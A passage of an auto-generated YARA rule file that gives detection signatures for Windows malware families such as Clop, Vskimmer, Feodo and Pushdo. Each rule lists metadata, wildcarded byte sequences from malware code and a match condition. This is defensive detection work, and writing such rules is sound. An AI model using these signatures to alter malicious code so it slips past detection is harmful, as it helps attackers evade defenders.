		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ec0c 8b4c2414 8b442410 56 57 8b7904 8b7004 }
		$sequence_1 = { 5e 81c418010000 c20400 83ec0c }
		$sequence_2 = { 83ec10 56 57 8b7c241c 6685ff }
		$sequence_3 = { 52 e8???????? 33c0 b910000000 89442448 }
		$sequence_4 = { 5e 83c418 c3 33c9 33c0 8b542424 894c2410 }
		$sequence_5 = { c3 68ffffff7f 56 ff15???????? 85c0 }
		$sequence_6 = { 32d0 88143e 46 3bf3 7cea 5f 8d4c2408 }
		$sequence_7 = { 52 8bce e8???????? 85c0 7413 6a16 8d44241c }
		$sequence_8 = { e8???????? 50 8bce e8???????? 85c0 0f84da000000 }
		$sequence_9 = { 5d b801000000 5b 59 c20400 8b4c2410 895910 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Rumish_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db5cf6b1-45f1-5e05-a042-af28c9de660a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rumish_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "356c30a3a32f94fe03326f490efe36bc56d49a42cedcdbc6774c882ef857a8dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8908 8b4a04 894804 8b5208 895008 ebd7 5d }
		$sequence_1 = { c7854cffffff00000000 53 51 52 33c0 0fa2 }
		$sequence_2 = { 8b55e4 83ea01 3955a4 7d54 8b45a4 }
		$sequence_3 = { e8???????? 89851cfdffff db851cfdffff dc0d???????? dc35???????? dc05???????? }
		$sequence_4 = { 0f87c5000000 8b9524fbffff ff2495c0214100 68???????? 8d8dc0fbffff e8???????? }
		$sequence_5 = { db8590f6ffff d9e8 dec9 d99d8cf6ffff d9858cf6ffff 51 d91c24 }
		$sequence_6 = { c745fcffffffff 8d4dc0 e8???????? 8b852cfdffff e9???????? e8???????? 898508fdffff }
		$sequence_7 = { ff15???????? 8b95a0fdffff 89956cfdffff c785b0fdffff00000000 c78544fdffff00000000 eb0f 8b8544fdffff }
		$sequence_8 = { d99d54ffffff d98554ffffff 51 d91c24 e8???????? 83c404 dc1d???????? }
		$sequence_9 = { 894de4 8b45e4 c700???????? 8b4de4 c7410400000000 8b55e4 c7420800000000 }
	condition:
		7 of them and filesize < 770048
}

rule MALPEDIA_Win_Vskimmer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d60a06ab-73b2-5007-b9fd-d7fdf53f6d46"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vskimmer_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "fbde08601554269a17787c3ffa7dabc4bf8a82c0fe588e8a82f4a23b193dab38"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb74624 6685c0 7413 50 ff75fc 8d8f2c020000 }
		$sequence_1 = { 8d8dd4f7ffff e8???????? 83bdccf7ffff10 8b85b8f7ffff c645fc11 7306 }
		$sequence_2 = { 7629 8d7e04 ff75e8 ff37 ff15???????? 85c0 }
		$sequence_3 = { c645fc0a ff15???????? 3bc7 0f8eeb030000 bb???????? be???????? 8d85f0f7ffff }
		$sequence_4 = { 8b8324020000 8bc8 81e101010000 83f901 0f84e1020000 }
		$sequence_5 = { 3b8314020000 0f84cc010000 56 8bcb }
		$sequence_6 = { e8???????? 83c418 8d85b4feffff 50 8d8d88f6ffff }
		$sequence_7 = { 8d85ecfeffff 68???????? 50 e8???????? ffb5c4f8ffff 8d85ecfeffff }
		$sequence_8 = { 33c0 8945f0 394510 7417 c706???????? c74610c4d54100 }
		$sequence_9 = { 59 c3 8bff 55 8bec 51 f6430c40 }
	condition:
		7 of them and filesize < 376832
}

rule MALPEDIA_Win_Goggles_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "040bb693-a4be-548d-a501-6f2900be4db7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goggles_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "2057c3d81d740df16e7462115b1eb3ac99d3eec33754199313bf18b2c821d705"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 8d842488010000 6a00 50 ff15???????? }
		$sequence_1 = { 52 68???????? ff15???????? 8a542b01 }
		$sequence_2 = { 68???????? e8???????? 83c410 c680a841001000 8d842410010000 }
		$sequence_3 = { 8a8010400010 88441efe 8a4c2fff 83e13f 4a 8a8110400010 88441eff }
		$sequence_4 = { 0f8559ffffff 8b442414 83f803 756e 0fbe0437 }
		$sequence_5 = { 33f6 894c240c 85c9 7e6f 8b4c2418 8bc2 2bc1 }
		$sequence_6 = { 0fbe043e 50 68???????? ff15???????? b9???????? 2ac1 c0e002 }
		$sequence_7 = { 55 57 88442410 b940000000 33c0 8d7c2411 }
		$sequence_8 = { 8a4c2ffe c1f806 83e10f 83e003 c1e102 0bc1 8a8010400010 }
		$sequence_9 = { 0fbe8288410010 50 68???????? ff15???????? }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Clop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4854a8b5-e52e-5b4e-a6a6-3c1168d9d798"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clop_auto.yar#L1-L181"
		license_url = "N/A"
		logic_hash = "65d38e339958842c1ae82c8f06911cc6fa67bb1b5d7a3308dc697dc71c286d31"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a04 6800300000 6887000000 6a00 }
		$sequence_1 = { 83c40c 6860070000 6a40 ff15???????? }
		$sequence_2 = { 57 6a00 ff15???????? 68???????? 8bd8 }
		$sequence_3 = { ff15???????? 8bf0 56 53 ff15???????? 50 ff15???????? }
		$sequence_4 = { 50 ff15???????? 56 53 8bf8 }
		$sequence_5 = { 53 8bf8 ff15???????? 8bf0 56 6a40 }
		$sequence_6 = { 668b0424 6683e07f 6683f87f 8d642408 0f85fd0b0000 eb00 f30f7e442404 }
		$sequence_7 = { 50 ff15???????? 83c40c 6860070000 }
		$sequence_8 = { 03d1 0fb6ca 8b55fc 0fb60c01 300c17 47 8a550b }
		$sequence_9 = { 8ab800010000 8a9001010000 57 33ff 8975f8 85f6 744e }
		$sequence_10 = { 744e fec7 0fb6f7 8a1c06 02d3 88550b 0fb6d2 }
		$sequence_11 = { 47 8a550b 3b7df8 72c7 5f 8aca 88b800010000 }
		$sequence_12 = { ffd0 c3 8bff 55 8bec 83ec1c 8d4de4 }
		$sequence_13 = { 8d85bcefffff 50 ff15???????? 68???????? }
		$sequence_14 = { 68???????? 68???????? e8???????? 83c424 6aff }
		$sequence_15 = { ff15???????? 68???????? 8d85dcf7ffff 50 }
		$sequence_16 = { 6a00 e8???????? 83c408 6aff ff15???????? 33c0 }
	condition:
		7 of them and filesize < 796672
}

rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c501ff13-71e5-5a46-9388-bd1d1013ee63"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_greencat_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "4d09295114ba5dc3575e8f0ceeceef8f83e2061d012afdc45a6be16a472e1786"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 0f85ab000000 bf28010000 8d85c0fdffff 57 53 }
		$sequence_1 = { 50 e8???????? 53 50 894614 }
		$sequence_2 = { 8d4dac ff750c e8???????? 85c0 7511 6830750000 }
		$sequence_3 = { 53 ff15???????? 55 e8???????? 3bf3 59 7407 }
		$sequence_4 = { e9???????? 8d45ac 50 ff750c e8???????? e9???????? 8b4508 }
		$sequence_5 = { 58 e9???????? 56 be00010000 57 56 e8???????? }
		$sequence_6 = { 5a 8b7508 668950f8 8950fc 668910 66895802 66895804 }
		$sequence_7 = { 8d0c30 03c6 2945ec 03d9 85f6 75ac 3975fc }
		$sequence_8 = { ff15???????? 83f8ff 8945ec 7411 ff15???????? 3db7000000 0f84de010000 }
		$sequence_9 = { 50 ff15???????? 3bc7 59 7405 a3???????? 8a45ff }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Pipemagic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fdb60c65-afb1-53e4-9d93-0cc68c23b592"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemagic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipemagic_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "1b197c324b04c72fd062b82fb8bf23069786730f7c016ad9418e03227253d020"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8bcf e8???????? 8bc8 85c9 7510 53 }
		$sequence_1 = { ff15???????? 59 c7431003000000 5f 5e 5b c9 }
		$sequence_2 = { 0f8722010000 8b513c 03d1 8955f8 8d82f8000000 3bc3 0f870c010000 }
		$sequence_3 = { 8945e4 85db 0f8499020000 8b5508 8a01 }
		$sequence_4 = { e8???????? a1???????? 33c9 894dd8 }
		$sequence_5 = { 8b00 eb03 8b4508 6a04 }
		$sequence_6 = { 59 51 8b4dec 57 e8???????? 57 }
		$sequence_7 = { 83e801 7404 32c0 eb23 e8???????? eb1a e8???????? }
		$sequence_8 = { 8d542410 8bce e8???????? e9???????? 83f803 750e }
		$sequence_9 = { 7404 8b38 eb03 8b7dfc 807e0c00 7530 53 }
	condition:
		7 of them and filesize < 87040
}

rule MALPEDIA_Win_Apocalipto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "040d40e4-215e-5fc8-9173-5081c16b8126"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apocalipto_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "59ef34dc3f2d1dbdb1e3d7de19e14bb33faf50cd3fbb7faa9fac9e36e92697d7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ec48 c745f400000000 8d45f4 89442410 c744240c1c000000 8d45d8 }
		$sequence_1 = { 85c0 0f8433090000 c7442404???????? 891c24 }
		$sequence_2 = { 745f 31db 6690 43 }
		$sequence_3 = { 31c0 85ff 75d9 8945f0 31db 31c9 }
		$sequence_4 = { 0500100000 8985d0f3ffff c744240c04000000 c744240800100000 89442404 }
		$sequence_5 = { c744241800000000 c744241404000000 c744241000000000 c744240c00000000 c744240800000000 8b5508 }
		$sequence_6 = { e9???????? ff15???????? 89c6 c705????????01000000 c7442404???????? 890424 e8???????? }
		$sequence_7 = { 890424 ff15???????? 50 c744240800400000 895c2404 }
		$sequence_8 = { 8974bb08 41 81f900010000 75cf c7430400000000 c70300000000 }
		$sequence_9 = { a3???????? 85c0 0f84510a0000 c7442404???????? 891c24 ff15???????? 83ec08 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Unidentified_076_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "320fec8e-f3fe-5339-a2f9-df370980c853"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_076_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "d906c6adbfb453b72e8affe711020332823b8e590c569caecb0bdba54a063334"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f95c3 488b6c2438 488b742440 488b7c2448 8bc3 488b5c2430 4883c420 }
		$sequence_1 = { 85c0 7f2d 488b86c8000000 33db ff9050010000 41b8fe010000 488bce }
		$sequence_2 = { 4155 4156 4881ec20010000 488b81c8000000 488bd9 488bf2 488d4c2440 }
		$sequence_3 = { 498bcc ff9020070000 488b8e50020000 488b96c8000000 4963c6 4869d814030000 }
		$sequence_4 = { 03d0 41ffc9 75f0 443bda 0f8524010000 44895f30 896f34 }
		$sequence_5 = { 41b900008000 ba0e660000 4c89742420 ff9080050000 85c0 7522 488b87c8000000 }
		$sequence_6 = { ffc1 448bf2 483bc8 0f86b2000000 bf08000000 eb03 4803ff }
		$sequence_7 = { 488b81c8000000 498bc8 ff9080000000 33c9 33d2 4c63c0 85c0 }
		$sequence_8 = { 488bcb 448d4202 e8???????? 488b93c8000000 488d4df0 ff92f0070000 83a3c802000000 }
		$sequence_9 = { 0fb74603 440fb6c0 c1e808 41c1e008 440bc0 41833e00 44894530 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Feodo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "294edd8e-79e5-57c8-8d21-3a46810574e0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.feodo_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "7ae2a34a3e8eb5aa6b8cbee0b549d59082912ee3877b6eb0ff9194b700931591"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 747b 6a00 6800000008 }
		$sequence_1 = { 85d2 740a 03ca 397144 75f3 8b7904 }
		$sequence_2 = { 6a00 6a03 57 8d442424 50 ff15???????? }
		$sequence_3 = { ff15???????? 85c0 743d 8d4c2404 }
		$sequence_4 = { 56 6808020000 8d442444 50 }
		$sequence_5 = { 83ec0c 56 57 33ff 57 6a02 6a02 }
		$sequence_6 = { 8bf0 85f6 75e0 6a00 57 }
		$sequence_7 = { 56 57 ff15???????? 8bf0 85f6 75e0 6a00 }
		$sequence_8 = { 6a20 8d542404 52 ff15???????? 8d0424 50 }
		$sequence_9 = { 743d 8d4c2404 51 8d542424 52 }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Vermilion_Strike_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cccdd0ef-85fa-55e7-a474-5f9b069a3146"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vermilion_strike_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "fbc14feb8d48b183ee7897af8bb71c1d6c19913a32cffa9f35df20729fb944fd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c414 51 52 b330 8d7c2438 }
		$sequence_1 = { 8d4e20 51 c744241400000000 e8???????? c7463c00000000 8bc6 8b4c2408 }
		$sequence_2 = { c644241400 8d7001 8d9b00000000 8a10 40 84d2 }
		$sequence_3 = { 83c404 56 8bd8 6a00 53 895c2418 e8???????? }
		$sequence_4 = { 3dea000000 7518 8b74241c 85f6 7410 8d442464 }
		$sequence_5 = { ffd7 8bf0 83feff 7532 ffd5 }
		$sequence_6 = { 895c2448 885c2438 39bc2484000000 720d 8b542470 }
		$sequence_7 = { 396e18 7205 8b4e04 eb03 8d4e04 50 51 }
		$sequence_8 = { e8???????? 57 50 8d7c245c c684245801000003 e8???????? 83c40c }
		$sequence_9 = { eb02 8bc7 3bc3 7711 83f908 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Bolek_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "69ad8acf-074b-529b-acc6-71dc6d683637"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bolek_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "a52d08446edf10d117ae2bacde4f93e5d2e9e0eaf470758c0d7eff835edf2d23"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f76b10 0fa4ce01 03c9 03c8 8b4340 13f2 f72f }
		$sequence_1 = { 8bec 83ec18 53 56 57 33c0 8bfa }
		$sequence_2 = { 8b55f8 391401 7416 41 3bce 72f6 33c0 }
		$sequence_3 = { 0f84a5000000 8b45f4 8b7028 83c60c 0375e0 e9???????? 8d45e8 }
		$sequence_4 = { c606ff 3dff000000 751a 6a05 6a06 5a 32c9 }
		$sequence_5 = { ffb42450080000 50 8d84244c060000 50 e8???????? 8d442444 55 }
		$sequence_6 = { 899c248c000000 89b42490000000 e8???????? 83c440 85c0 0f85e7fdffff 53 }
		$sequence_7 = { ff742444 8d442434 50 e8???????? 6a10 8d44243c 55 }
		$sequence_8 = { ff742438 ff742438 56 e8???????? 69ce0d661900 83c40c 8bf8 }
		$sequence_9 = { 894dec c745f440000000 894df8 894dfc ff15???????? 8be5 5d }
	condition:
		7 of them and filesize < 892928
}

rule MALPEDIA_Win_Pushdo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea9fd106-28fc-55dd-aa56-b9cc29b476a3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pushdo_auto.yar#L1-L210"
		license_url = "N/A"
		logic_hash = "44aafb8e474bf55b9e9061326e2ace4a0bcd7b0153f05d8cb31960fbba3d00f5"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7f9 33c9 ba88020000 f7e2 }
		$sequence_1 = { 50 ff15???????? 33d2 b9ffff0000 f7f1 }
		$sequence_2 = { 60 8b45fc b10b d3c0 61 }
		$sequence_3 = { 8a85effeffff 888415f0feffff 8b4d08 034dfc 0fbe11 }
		$sequence_4 = { 81ec18010000 6800010000 6a00 8d85f0feffff 50 e8???????? }
		$sequence_5 = { 8b55fc 3b5510 0f83a6000000 8b45f4 83c001 25ff000000 }
		$sequence_6 = { 8b450c 0345fc 8810 e9???????? 8be5 }
		$sequence_7 = { 8b55fc 83c201 8955fc 817dfc00010000 736a 8b45fc }
		$sequence_8 = { 03c2 c1f808 49 79dd }
		$sequence_9 = { ff15???????? 8945fc 3bc7 0f84a1010000 8d45ec 50 8d4598 }
		$sequence_10 = { 7413 8d45f8 50 8d85f0fdffff 50 }
		$sequence_11 = { 6a04 bb00300000 53 bf00100000 }
		$sequence_12 = { 0f849f000000 8d45f8 50 6801008000 6801680000 ff75fc }
		$sequence_13 = { 52 8d8588fbffff 50 e8???????? }
		$sequence_14 = { 8b5508 8b02 8945f4 837df400 741a 8b4df4 }
		$sequence_15 = { e8???????? 898544feffff 8b8544feffff 33d2 b90a000000 }
		$sequence_16 = { 8bff 55 8bec 8b450c c1e810 }
		$sequence_17 = { eb0f 8b9570fdffff 83c201 899570fdffff 83bd70fdffff14 }
		$sequence_18 = { 2b4dfc 3b4dec 7307 33c0 e9???????? 8b55fc }
		$sequence_19 = { e8???????? 8945b8 6a6c 8b4db8 51 e8???????? 8945b8 }
		$sequence_20 = { 55 8bec 0fb6450c c1f804 83e00f 8b4d08 8a906c520009 }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Headertip_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1dda5df3-2437-55ec-aee3-662480184ff3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.headertip_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "a8e98ab682cf8297008cac86233820760ccd69da30239b18014120d2702bf71b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645e465 c645e573 c645e674 c645e757 885de8 }
		$sequence_1 = { 8b450c 48 753a 8b4508 }
		$sequence_2 = { 0f845b020000 8d4d34 51 50 ff15???????? a3???????? }
		$sequence_3 = { 84c9 75f1 c20400 8b542404 33c0 85d2 }
		$sequence_4 = { 56 57 64a130000000 8b400c 8b7014 8bfe }
		$sequence_5 = { c6451d74 c6451e45 c6451f72 c6452072 c645216f c6452272 885d23 }
		$sequence_6 = { ff7508 ff35???????? ff15???????? 85c0 7528 }
		$sequence_7 = { 68???????? be???????? 56 c705????????19100010 c705????????5b120010 ff15???????? }
		$sequence_8 = { 58 668945f4 668945f6 6a33 58 668945f8 6a32 }
		$sequence_9 = { 33c0 5f 5b 5e c3 0fb7c7 }
	condition:
		7 of them and filesize < 174080
}

rule MALPEDIA_Win_Ketrican_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "17c7dffb-a011-5900-a31d-1d30da8f8252"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ketrican_auto.yar#L1-L230"
		license_url = "N/A"
		logic_hash = "bc80dac3ff7e066cc7e5cdc3a2c5cdfaac267fb28bf5e233f76a95cbb08049bc"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8965f0 33db 895dfc 33c0 }
		$sequence_1 = { 5e c3 55 8bec 837d0800 7d0a }
		$sequence_2 = { 8bc1 8945f0 834dfcff e8???????? }
		$sequence_3 = { e8???????? 83c010 8906 c3 56 8bf1 57 }
		$sequence_4 = { 5f 5e 8901 5b 5d c20800 680e000780 }
		$sequence_5 = { 7417 6a0a 6a1f 68???????? }
		$sequence_6 = { e8???????? cc 8b06 83e810 8b08 395008 }
		$sequence_7 = { e8???????? 8b06 5d c20400 55 8bec 8b4508 }
		$sequence_8 = { 8bc7 c1e810 83e03f e8???????? }
		$sequence_9 = { 2bc6 8b35???????? 53 8bf8 57 }
		$sequence_10 = { 8bec 8b4508 53 56 57 8d7001 33db }
		$sequence_11 = { 56 8d4806 57 e8???????? 83c414 8bf0 }
		$sequence_12 = { 83c604 8345f804 8b45f8 5f c60600 5e }
		$sequence_13 = { 7706 8a4405bc c9 c3 }
		$sequence_14 = { eb1f 68???????? e8???????? a3???????? }
		$sequence_15 = { 8b8a8c2f0000 33c8 e8???????? b8???????? e9???????? }
		$sequence_16 = { b8???????? e9???????? 8b542408 8d420c 8b8aecfdffff 33c8 e8???????? }
		$sequence_17 = { e9???????? c705????????ac824100 c3 b9???????? e9???????? }
		$sequence_18 = { e9???????? 8d45d0 e9???????? 8d4dd0 }
